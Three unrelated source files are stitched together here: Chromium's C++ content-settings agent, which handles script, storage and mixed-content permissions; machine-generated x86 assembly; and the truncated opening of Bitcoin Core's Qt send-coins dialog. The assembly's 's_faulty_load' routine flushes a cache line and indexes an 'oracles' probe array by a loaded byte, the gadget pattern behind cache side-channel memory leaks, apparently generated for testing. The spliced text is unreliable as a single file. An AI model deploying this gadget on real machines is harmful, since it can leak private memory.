#include "content/public/common/origin_util.h"
#include "content/public/common/previews_state.h"
#include "content/public/common/url_constants.h"
#include "content/public/renderer/document_state.h"
#include "content/public/renderer/render_frame.h"
#include "content/public/renderer/render_view.h"
#include "third_party/blink/public/common/associated_interfaces/associated_interface_provider.h"
#include "third_party/blink/public/common/associated_interfaces/associated_interface_registry.h"
#include "third_party/blink/public/common/browser_interface_broker_proxy.h"
#include "third_party/blink/public/platform/url_conversion.h"
#include "third_party/blink/public/platform/web_client_hints_type.h"
#include "third_party/blink/public/platform/web_security_origin.h"
#include "third_party/blink/public/platform/web_url.h"
#include "third_party/blink/public/web/web_document.h"
#include "third_party/blink/public/web/web_local_frame.h"
#include "third_party/blink/public/web/web_local_frame_client.h"
#include "third_party/blink/public/web/web_view.h"
#include "url/gurl.h"
#include "url/origin.h"
#include "url/url_constants.h"
using blink::WebDocument;
using blink::WebFrame;
using blink::WebLocalFrame;
using blink::WebSecurityOrigin;
using blink::WebString;
using blink::WebURL;
using blink::WebView;
using content::DocumentState;
namespace content_settings {
namespace {
GURL GetOriginOrURL(const WebFrame* frame) {
url::Origin top_origin = url::Origin(frame->Top()->GetSecurityOrigin());
// The |top_origin| is unique ("null") e.g., for file:// URLs. Use the
// document URL as the primary URL in those cases.
// TODO(alexmos): This is broken for --site-per-process, since top() can be a
// WebRemoteFrame which does not have a document(), and the WebRemoteFrame's
// URL is not replicated. See https://crbug.com/628759.
if (top_origin.opaque() && frame->Top()->IsWebLocalFrame())
return frame->Top()->ToWebLocalFrame()->GetDocument().Url();
return top_origin.GetURL();
}
bool IsScriptDisabledForPreview(content::RenderFrame* render_frame) {
return render_frame->GetPreviewsState() & content::NOSCRIPT_ON;
}
bool IsFrameWithOpaqueOrigin(WebFrame* frame) {
// Storage access is keyed off the top origin and the frame's origin.
// It will be denied any opaque origins so have this method to return early
// instead of making a Sync IPC call.
return frame->GetSecurityOrigin().IsOpaque() ||
frame->Top()->GetSecurityOrigin().IsOpaque();
}
} // namespace
ContentSettingsAgentImpl::Delegate::~Delegate() = default;
bool ContentSettingsAgentImpl::Delegate::IsSchemeWhitelisted(
const std::string& scheme) {
return false;
}
base::Optional<bool>
ContentSettingsAgentImpl::Delegate::AllowReadFromClipboard() {
return base::nullopt;
}
base::Optional<bool>
ContentSettingsAgentImpl::Delegate::AllowWriteToClipboard() {
return base::nullopt;
}
base::Optional<bool> ContentSettingsAgentImpl::Delegate::AllowMutationEvents() {
return base::nullopt;
}
base::Optional<bool>
ContentSettingsAgentImpl::Delegate::AllowRunningInsecureContent(
bool allowed_per_settings,
const blink::WebURL& resource_url) {
return base::nullopt;
}
void ContentSettingsAgentImpl::Delegate::PassiveInsecureContentFound(
const blink::WebURL&) {}
ContentSettingsAgentImpl::ContentSettingsAgentImpl(
content::RenderFrame* render_frame,
bool should_whitelist,
std::unique_ptr<Delegate> delegate)
: content::RenderFrameObserver(render_frame),
content::RenderFrameObserverTracker<ContentSettingsAgentImpl>(
render_frame),
should_whitelist_(should_whitelist),
delegate_(std::move(delegate)) {
DCHECK(delegate_);
ClearBlockedContentSettings();
render_frame->GetWebFrame()->SetContentSettingsClient(this);
render_frame->GetAssociatedInterfaceRegistry()->AddInterface(
base::Bind(&ContentSettingsAgentImpl::OnContentSettingsAgentRequest,
base::Unretained(this)));
content::RenderFrame* main_frame =
render_frame->GetRenderView()->GetMainRenderFrame();
// TODO(nasko): The main frame is not guaranteed to be in the same process
// with this frame with --site-per-process. This code needs to be updated
// to handle this case. See https://crbug.com/496670.
if (main_frame && main_frame != render_frame) {
// Copy all the settings from the main render frame to avoid race conditions
// when initializing this data. See https://crbug.com/333308.
ContentSettingsAgentImpl* parent =
ContentSettingsAgentImpl::Get(main_frame);
allow_running_insecure_content_ = parent->allow_running_insecure_content_;
is_interstitial_page_ = parent->is_interstitial_page_;
}
}
ContentSettingsAgentImpl::~ContentSettingsAgentImpl() = default;
mojom::ContentSettingsManager&
ContentSettingsAgentImpl::GetContentSettingsManager() {
if (!content_settings_manager_)
BindContentSettingsManager(&content_settings_manager_);
return *content_settings_manager_;
}
void ContentSettingsAgentImpl::SetContentSettingRules(
const RendererContentSettingRules* content_setting_rules) {
content_setting_rules_ = content_setting_rules;
UMA_HISTOGRAM_COUNTS_1M("ClientHints.CountRulesReceived",
content_setting_rules_->client_hints_rules.size());
}
const RendererContentSettingRules*
ContentSettingsAgentImpl::GetContentSettingRules() {
return content_setting_rules_;
}
void ContentSettingsAgentImpl::DidBlockContentType(
ContentSettingsType settings_type) {
bool newly_blocked = content_blocked_.insert(settings_type).second;
if (newly_blocked)
GetContentSettingsManager().OnContentBlocked(routing_id(), settings_type);
}
template <typename URL>
ContentSetting ContentSettingsAgentImpl::GetContentSettingFromRules(
const ContentSettingsForOneType& rules,
const WebFrame* frame,
const URL& secondary_url) {
// If there is only one rule, it's the default rule and we don't need to match
// the patterns.
if (rules.size() == 1) {
DCHECK(rules[0].primary_pattern == ContentSettingsPattern::Wildcard());
DCHECK(rules[0].secondary_pattern == ContentSettingsPattern::Wildcard());
return rules[0].GetContentSetting();
}
const GURL& primary_url = GetOriginOrURL(frame);
const GURL& secondary_gurl = secondary_url;
for (const auto& rule : rules) {
if (rule.primary_pattern.Matches(primary_url) &&
rule.secondary_pattern.Matches(secondary_gurl)) {
return rule.GetContentSetting();
}
}
NOTREACHED();
return CONTENT_SETTING_DEFAULT;
}
void ContentSettingsAgentImpl::BindContentSettingsManager(
mojo::Remote<mojom::ContentSettingsManager>* manager) {
DCHECK(!*manager);
content::ChildThread::Get()->BindHostReceiver(
manager->BindNewPipeAndPassReceiver());
}
void ContentSettingsAgentImpl::DidCommitProvisionalLoad(
bool is_same_document_navigation,
ui::PageTransition transition) {
blink::WebLocalFrame* frame = render_frame()->GetWebFrame();
if (frame->Parent())
return; // Not a top-level navigation.
if (!is_same_document_navigation) {
// Clear "block" flags for the new page. This needs to happen before any of
// |allowScript()|, |allowScriptFromSource()|, |allowImage()|, or
// |allowPlugins()| is called for the new page so that these functions can
// correctly detect that a piece of content flipped from "not blocked" to
// "blocked".
ClearBlockedContentSettings();
// The BrowserInterfaceBroker is reset on navigation, so we will need to
// re-acquire the ContentSettingsManager.
content_settings_manager_.reset();
}
GURL url = frame->GetDocument().Url();
// If we start failing this DCHECK, please makes sure we don't regress
// this bug: http://code.google.com/p/chromium/issues/detail?id=79304
DCHECK(frame->GetDocument().GetSecurityOrigin().ToString() == "null" ||
!url.SchemeIs(url::kDataScheme));
}
void ContentSettingsAgentImpl::OnDestruct() {
delete this;
}
void ContentSettingsAgentImpl::SetAllowRunningInsecureContent() {
allow_running_insecure_content_ = true;
// Reload if we are the main frame.
blink::WebLocalFrame* frame = render_frame()->GetWebFrame();
if (!frame->Parent())
frame->StartReload(blink::WebFrameLoadType::kReload);
}
void ContentSettingsAgentImpl::SetAsInterstitial() {
is_interstitial_page_ = true;
}
void ContentSettingsAgentImpl::SetDisabledMixedContentUpgrades() {
mixed_content_autoupgrades_disabled_ = true;
}
void ContentSettingsAgentImpl::OnContentSettingsAgentRequest(
mojo::PendingAssociatedReceiver<mojom::ContentSettingsAgent> receiver) {
receivers_.Add(this, std::move(receiver));
}
bool ContentSettingsAgentImpl::AllowDatabase() {
return AllowStorageAccess(
mojom::ContentSettingsManager::StorageType::DATABASE);
}
void ContentSettingsAgentImpl::RequestFileSystemAccessAsync(
base::OnceCallback<void(bool)> callback) {
WebLocalFrame* frame = render_frame()->GetWebFrame();
if (IsFrameWithOpaqueOrigin(frame)) {
std::move(callback).Run(false);
return;
}
GetContentSettingsManager().AllowStorageAccess(
routing_id(), mojom::ContentSettingsManager::StorageType::FILE_SYSTEM,
frame->GetSecurityOrigin(),
frame->GetDocument().SiteForCookies().RepresentativeUrl(),
frame->GetDocument().TopFrameOrigin(), std::move(callback));
}
bool ContentSettingsAgentImpl::AllowImage(bool enabled_per_settings,
const WebURL& image_url) {
bool allow = enabled_per_settings;
if (enabled_per_settings) {
if (is_interstitial_page_)
return true;
if (IsWhitelistedForContentSettings())
return true;
if (content_setting_rules_) {
allow = GetContentSettingFromRules(content_setting_rules_->image_rules,
render_frame()->GetWebFrame(),
image_url) != CONTENT_SETTING_BLOCK;
}
}
if (!allow)
DidBlockContentType(ContentSettingsType::IMAGES);
return allow;
}
bool ContentSettingsAgentImpl::AllowIndexedDB() {
return AllowStorageAccess(
mojom::ContentSettingsManager::StorageType::INDEXED_DB);
}
bool ContentSettingsAgentImpl::AllowCacheStorage() {
return AllowStorageAccess(mojom::ContentSettingsManager::StorageType::CACHE);
}
bool ContentSettingsAgentImpl::AllowWebLocks() {
return AllowStorageAccess(
mojom::ContentSettingsManager::StorageType::WEB_LOCKS);
}
bool ContentSettingsAgentImpl::AllowScript(bool enabled_per_settings) {
if (!enabled_per_settings)
return false;
if (IsScriptDisabledForPreview(render_frame()))
return false;
if (is_interstitial_page_)
return true;
blink::WebLocalFrame* frame = render_frame()->GetWebFrame();
const auto it = cached_script_permissions_.find(frame);
if (it != cached_script_permissions_.end())
return it->second;
// Evaluate the content setting rules before
// IsWhitelistedForContentSettings(); if there is only the default rule
// allowing all scripts, it's quicker this way.
bool allow = true;
if (content_setting_rules_) {
ContentSetting setting = GetContentSettingFromRules(
content_setting_rules_->script_rules, frame,
url::Origin(frame->GetDocument().GetSecurityOrigin()).GetURL());
allow = setting != CONTENT_SETTING_BLOCK;
}
allow = allow || IsWhitelistedForContentSettings();
cached_script_permissions_[frame] = allow;
return allow;
}
bool ContentSettingsAgentImpl::AllowScriptFromSource(
bool enabled_per_settings,
const blink::WebURL& script_url) {
if (!enabled_per_settings)
return false;
if (IsScriptDisabledForPreview(render_frame()))
return false;
if (is_interstitial_page_)
return true;
bool allow = true;
if (content_setting_rules_) {
ContentSetting setting =
GetContentSettingFromRules(content_setting_rules_->script_rules,
render_frame()->GetWebFrame(), script_url);
allow = setting != CONTENT_SETTING_BLOCK;
}
return allow || IsWhitelistedForContentSettings();
}
bool ContentSettingsAgentImpl::AllowStorage(bool local) {
WebLocalFrame* frame = render_frame()->GetWebFrame();
if (IsFrameWithOpaqueOrigin(frame))
return false;
StoragePermissionsKey key(
url::Origin(frame->GetDocument().GetSecurityOrigin()).GetURL(), local);
const auto permissions = cached_storage_permissions_.find(key);
if (permissions != cached_storage_permissions_.end())
return permissions->second;
bool result = false;
GetContentSettingsManager().AllowStorageAccess(
routing_id(),
local ? mojom::ContentSettingsManager::StorageType::LOCAL_STORAGE
: mojom::ContentSettingsManager::StorageType::SESSION_STORAGE,
frame->GetSecurityOrigin(),
frame->GetDocument().SiteForCookies().RepresentativeUrl(),
frame->GetDocument().TopFrameOrigin(), &result);
cached_storage_permissions_[key] = result;
return result;
}
bool ContentSettingsAgentImpl::AllowReadFromClipboard(bool default_value) {
return delegate_->AllowReadFromClipboard().value_or(default_value);
}
bool ContentSettingsAgentImpl::AllowWriteToClipboard(bool default_value) {
return delegate_->AllowWriteToClipboard().value_or(default_value);
}
bool ContentSettingsAgentImpl::AllowMutationEvents(bool default_value) {
return delegate_->AllowMutationEvents().value_or(default_value);
}
bool ContentSettingsAgentImpl::AllowRunningInsecureContent(
bool allowed_per_settings,
const blink::WebURL& resource_url) {
base::Optional<bool> result = delegate_->AllowRunningInsecureContent(
allowed_per_settings, resource_url);
if (result.has_value())
return result.value();
bool allow = allowed_per_settings || allow_running_insecure_content_;
if (!allow) {
DidBlockContentType(ContentSettingsType::MIXEDSCRIPT);
}
return allow;
}
bool ContentSettingsAgentImpl::AllowPopupsAndRedirects(bool default_value) {
if (!content_setting_rules_)
return default_value;
blink::WebLocalFrame* frame = render_frame()->GetWebFrame();
return GetContentSettingFromRules(
content_setting_rules_->popup_redirect_rules, frame,
url::Origin(frame->GetDocument().GetSecurityOrigin()).GetURL()) ==
CONTENT_SETTING_ALLOW;
}
void ContentSettingsAgentImpl::PassiveInsecureContentFound(
const blink::WebURL& resource_url) {
delegate_->PassiveInsecureContentFound(resource_url);
}
void ContentSettingsAgentImpl::PersistClientHints(
const blink::WebEnabledClientHints& enabled_client_hints,
base::TimeDelta duration,
const blink::WebURL& url) {
if (duration <= base::TimeDelta())
return;
const GURL primary_url(url);
const url::Origin primary_origin = url::Origin::Create(primary_url);
if (!content::IsOriginSecure(primary_url))
return;
// TODO(tbansal): crbug.com/735518. Determine if the value should be
// merged or overridden. Also, determine if the merger should happen on the
// browser side or the renderer. If the value needs to be overridden,
// this method should not return early if |update_count| is 0.
std::vector<::network::mojom::WebClientHintsType> client_hints;
static constexpr size_t kWebClientHintsCount =
static_cast<size_t>(network::mojom::WebClientHintsType::kMaxValue) + 1;
client_hints.reserve(kWebClientHintsCount);
for (size_t i = 0; i < kWebClientHintsCount; ++i) {
if (enabled_client_hints.IsEnabled(
static_cast<network::mojom::WebClientHintsType>(i))) {
client_hints.push_back(
static_cast<network::mojom::WebClientHintsType>(i));
}
}
size_t update_count = client_hints.size();
if (update_count == 0)
return;
UMA_HISTOGRAM_CUSTOM_TIMES(
"ClientHints.PersistDuration", duration, base::TimeDelta::FromSeconds(1),
// TODO(crbug.com/949034): Rename and fix this histogram to have some
// intended max value. We throw away the 32 most-significant bits of the
// 64-bit time delta in milliseconds. Before it happened silently in
// histogram.cc, now it is explicit here. The previous value of 365 days
// effectively turns into roughly 17 days when getting cast to int.
base::TimeDelta::FromMilliseconds(
static_cast<int>(base::TimeDelta::FromDays(365).InMilliseconds())),
100);
UMA_HISTOGRAM_COUNTS_100("ClientHints.UpdateSize", update_count);
// Notify the embedder.
mojo::AssociatedRemote<client_hints::mojom::ClientHints> host_observer;
render_frame()->GetRemoteAssociatedInterfaces()->GetInterface(&host_observer);
host_observer->PersistClientHints(primary_origin, std::move(client_hints),
duration);
}
void ContentSettingsAgentImpl::GetAllowedClientHintsFromSource(
const blink::WebURL& url,
blink::WebEnabledClientHints* client_hints) const {
if (!content_setting_rules_)
return;
if (content_setting_rules_->client_hints_rules.empty())
return;
client_hints::GetAllowedClientHintsFromSource(
url, content_setting_rules_->client_hints_rules, client_hints);
}
bool ContentSettingsAgentImpl::ShouldAutoupgradeMixedContent() {
if (mixed_content_autoupgrades_disabled_)
return false;
if (content_setting_rules_) {
auto setting =
GetContentSettingFromRules(content_setting_rules_->mixed_content_rules,
render_frame()->GetWebFrame(), GURL());
return setting != CONTENT_SETTING_ALLOW;
}
return false;
}
void ContentSettingsAgentImpl::DidNotAllowPlugins() {
DidBlockContentType(ContentSettingsType::PLUGINS);
}
void ContentSettingsAgentImpl::DidNotAllowScript() {
DidBlockContentType(ContentSettingsType::JAVASCRIPT);
}
void ContentSettingsAgentImpl::ClearBlockedContentSettings() {
content_blocked_.clear();
cached_storage_permissions_.clear();
cached_script_permissions_.clear();
}
bool ContentSettingsAgentImpl::IsWhitelistedForContentSettings() const {
if (should_whitelist_)
return true;
// Whitelist ftp directory listings, as they require JavaScript to function
// properly.
if (render_frame()->IsFTPDirectoryListing())
return true;
const WebDocument& document = render_frame()->GetWebFrame()->GetDocument();
WebSecurityOrigin origin = document.GetSecurityOrigin();
WebURL document_url = document.Url();
if (document_url.GetString() == content::kUnreachableWebDataURL)
return true;
if (origin.IsOpaque())
return false; // Uninitialized document?
blink::WebString protocol = origin.Protocol();
if (protocol == content::kChromeUIScheme)
return true; // Browser UI elements should still work.
if (protocol == content::kChromeDevToolsScheme)
return true; // DevTools UI elements should still work.
if (delegate_->IsSchemeWhitelisted(protocol.Utf8()))
return true;
// If the scheme is file:, an empty file name indicates a directory listing,
// which requires JavaScript to function properly.
if (protocol == url::kFileScheme &&
document_url.ProtocolIs(url::kFileScheme)) {
return GURL(document_url).ExtractFileName().empty();
}
return false;
}
bool ContentSettingsAgentImpl::AllowStorageAccess(
mojom::ContentSettingsManager::StorageType storage_type) {
WebLocalFrame* frame = render_frame()->GetWebFrame();
if (IsFrameWithOpaqueOrigin(frame))
return false;
bool result = false;
GetContentSettingsManager().AllowStorageAccess(
routing_id(), storage_type, frame->GetSecurityOrigin(),
frame->GetDocument().SiteForCookies().RepresentativeUrl(),
frame->GetDocument().TopFrameOrigin(), &result);
return result;
}
} // namespace content_settings
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r14
push %r8
push %rax
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_normal_ht+0x7774, %r11
nop
nop
nop
nop
nop
inc %rax
vmovups (%r11), %ymm6
vextracti128 $0, %ymm6, %xmm6
vpextrq $0, %xmm6, %r14
nop
nop
xor %rdx, %rdx
lea addresses_WT_ht+0x1a008, %r11
add %rbp, %rbp
mov $0x6162636465666768, %r8
movq %r8, %xmm5
vmovups %ymm5, (%r11)
nop
nop
nop
nop
and $37296, %r11
lea addresses_normal_ht+0x5608, %rsi
lea addresses_D_ht+0x65e8, %rdi
sub $2873, %rdx
mov $86, %rcx
rep movsw
nop
and $5642, %rcx
lea addresses_WT_ht+0xdf48, %rcx
clflush (%rcx)
nop
nop
nop
nop
nop
cmp $20275, %rbp
movw $0x6162, (%rcx)
nop
nop
nop
and $31710, %r14
lea addresses_A_ht+0x1ea68, %rdi
nop
nop
nop
nop
and $54836, %rax
mov (%rdi), %rbp
nop
nop
cmp $63374, %rcx
lea addresses_WT_ht+0xf57e, %rdi
nop
nop
nop
cmp %rsi, %rsi
vmovups (%rdi), %ymm4
vextracti128 $1, %ymm4, %xmm4
vpextrq $0, %xmm4, %rbp
nop
add %rdx, %rdx
lea addresses_A_ht+0x15748, %rbp
nop
nop
add %r11, %r11
mov (%rbp), %r8
nop
inc %r14
lea addresses_UC_ht+0xfc08, %rsi
lea addresses_normal_ht+0x208, %rdi
nop
nop
nop
nop
nop
add $17455, %r11
mov $100, %rcx
rep movsb
nop
nop
nop
xor %rdx, %rdx
lea addresses_UC_ht+0x14448, %rsi
lea addresses_WC_ht+0xd688, %rdi
nop
nop
inc %r11
mov $11, %rcx
rep movsl
nop
cmp $49208, %rdx
lea addresses_normal_ht+0xb510, %rsi
lea addresses_UC_ht+0xc288, %rdi
nop
nop
nop
add %rax, %rax
mov $50, %rcx
rep movsw
nop
nop
nop
nop
cmp %r14, %r14
lea addresses_normal_ht+0x4408, %r11
nop
inc %r14
movw $0x6162, (%r11)
nop
nop
nop
nop
nop
and %rax, %rax
lea addresses_WT_ht+0x12208, %rdx
nop
nop
nop
nop
and %r11, %r11
and $0xffffffffffffffc0, %rdx
movaps (%rdx), %xmm2
vpextrq $1, %xmm2, %rcx
nop
nop
nop
nop
nop
cmp %rax, %rax
lea addresses_D_ht+0x13e68, %rsi
lea addresses_WC_ht+0x1e192, %rdi
nop
nop
nop
nop
cmp %r11, %r11
mov $97, %rcx
rep movsl
add $49183, %rdx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r8
pop %r14
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r13
push %r14
push %rbp
push %rbx
push %rdi
push %rdx
// Load
lea addresses_normal+0x1bac8, %rdi
nop
nop
nop
dec %rdx
mov (%rdi), %rbp
nop
cmp %rdi, %rdi
// Faulty Load
lea addresses_WT+0x13c08, %r10
clflush (%r10)
cmp $9564, %rbx
mov (%r10), %r14
lea oracles, %rbx
and $0xff, %r14
shlq $12, %r14
mov (%rbx,%r14,1), %r14
pop %rdx
pop %rdi
pop %rbx
pop %rbp
pop %r14
pop %r13
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 6, 'size': 8, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 2, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 8, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 9, 'same': True}, 'dst': {'type': 'addresses_D_ht', 'congruent': 5, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': True, 'congruent': 6, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 5, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 3, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 9, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 7, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 7, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 11, 'size': 2, 'same': True, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': True, 'congruent': 8, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': True}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
// Copyright (c) 2011-2017 The Bitcoin Core developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include <qt/sendcoinsdialog.h>
#include <qt/forms/ui_sendcoinsdialog.h>
#include <qt/addresstablemodel.h>
#include <qt/bitcoinunits.h>
#include <qt/clientmodel.h>
#include <qt/coincontroldialog.h>
#include <qt/guiutil.h>
#include <qt/optionsmodel.h>
#include <qt/platformstyle.h>
#include <qt/sendcoinsentry.h>
#include <base58.h>
#include <chainparams.h>
#include <wallet/coincontrol.h>
#include <validation.h> // mempool and minRelayTxFee
#include <ui_interface.h>
#include <txmempool.h>
#include <policy/fees.h>
#include <wallet/fees.h>
#include <QFontMetrics>
#include <QScrollBar>
#include <QSettings>
#include <QTextDocument>
static const std::array<int, 9> confTargets = { {2, 4, 6, 12, 24, 48, 144, 504, 1008} };
int getConfTargetForIndex(int index) {
if (index+1 > static_cast<int>(confTargets.size())) {
return confTargets.back();
}
if (index < 0) {
return confTargets[0];
}
return confTargets[index];
}
int getIndexForConfTarget(int target) {
for (unsigned int i = 0; i < confTargets.size(); i++) {
if (confTargets[i] >= target) {
return i;
}
}
return confTargets.size() - 1;
}
SendCoinsDialog::SendCoinsDialog(const PlatformStyle *_platformStyle, QWidget *parent) :
QDialog(parent),
ui(new Ui::SendCoinsDialog),
clientModel(0),
model(0),
fNewRecipientAllowed(true),
fFeeMinimized(true),
platformStyle(_platformStyle)
{
ui->setupUi(this);
if (!_platformStyle->getImagesOnButtons()) {
ui->addButton->setIcon(QIcon());
ui->clearButton->setIcon(QIcon());
ui->sendButton->setIcon(QIcon());
} else {
ui->addButton->setIcon(_platformStyle->SingleColorIcon(":/icons/add"));
ui->clearButton->setIcon(_platformStyle->SingleColorIcon(":/icons/remove"));
ui->sendButton->setIcon(_platformStyle->SingleColorIcon(":/icons/send"));
}
GUIUtil::setupAddressWidget(ui->lineEditCoinControlChange, this);
addEntry();
connect(ui->addButton, SIGNAL(clicked()), this, SLOT(addEntry()));
connect(ui->clearButton, SIGNAL(clicked()), this, SLOT(clear()));
// Coin Control
connect(ui->pushButtonCoinControl, SIGNAL(clicked()), this, SLOT(coinControlButtonClicked()));
connect(ui->checkBoxCoinControlChange, SIGNAL(stateChanged(int)), this, SLOT(coinControlChangeChecked(int)));
connect(ui->lineEditCoinControlChange, SIGNAL(textEdited(const QString &)), this, SLOT(coinControlChangeEdited(const QString &)));
// Coin Control: clipboard actions
QAction *clipboardQuantityAction = new QAction(tr("Copy quantity"), this);
QAction *clipboardAmountAction = new QAction(tr("Copy amount"), this);
QAction *clipboardFeeAction = new QAction(tr("Copy fee"), this);
QAction *clipboardAfterFeeAction = new QAction(tr("Copy after fee"), this);
QAction *clipboardBytesAction = new QAction(tr("Copy bytes"), this);
QAction *clipboardLowOutputAction = new QAction(tr("Copy dust"), this);
QAction *clipboardChangeAction = new QAction(tr("Copy change"), this);
connect(clipboardQuantityAction, SIGNAL(triggered()), this, SLOT(coinControlClipboardQuantity()));
connect(clipboardAmountAction, SIGNAL(triggered()), this, SLOT(coinControlClipboardAmount()));
connect(clipboardFeeAction, SIGNAL(triggered()), this, SLOT(coinControlClipboardFee()));
connect(clipboardAfterFeeAction, SIGNAL(triggered()), this, SLOT(coinControlClipboardAfterFee()));
connect(clipboardBytesAction, SIGNAL(triggered()), this, SLOT(coinControlClipboardBytes()));
connect(clipboardLowOutputAction, SIGNAL(triggered()), this, SLOT(coinControlClipboardLowOutput()));
connect(clipboardChangeAction, SIGNAL(triggered()), this, SLOT(coinControlClipboardChange()));
ui->labelCoinControlQuantity->addAction(clipboardQuantityAction);
ui->labelCoinControlAmount->addAction(clipboardAmountAction);
ui->labelCoinControlFee->addAction(clipboardFeeAction);
ui->labelCoinControlAfterFee->addAction(clipboardAfterFeeAction);
